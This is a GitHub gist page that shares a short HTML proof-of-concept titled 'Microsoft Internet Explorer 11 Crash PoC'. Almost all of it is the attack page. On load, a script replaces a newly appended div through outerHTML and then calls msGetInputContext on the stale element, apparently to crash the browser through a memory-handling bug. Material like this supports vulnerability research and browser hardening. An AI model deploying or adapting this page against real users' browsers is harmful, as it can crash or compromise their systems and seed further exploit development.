Skip to content

Instantly share code, notes, and snippets.

@h0wl

h0wl/ie11_getinputcontext.html

Last active August 29, 2015 14:22
Show Gist options
  • Save h0wl/9fc7c336691dbf2607f2 to your computer and use it in GitHub Desktop.
Save h0wl/9fc7c336691dbf2607f2 to your computer and use it in GitHub Desktop.
Download ZIP
Microsoft Internet Explorer 11 Crash PoC
Raw
ie11_getinputcontext.html
<html>
<head>
<meta http-equiv="Cache-Control" content="no-cache"/>
<script>
function boom() {
var divA = document.createElement("div");
document.body.appendChild(divA);
try {
//divA.contentEditable = "true";
divA.outerHTML = "AAAA";
var context = divA['msGetInputContext']();
}
catch (exception) {
}
}
</script>
</head>
<body onload='boom();'>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment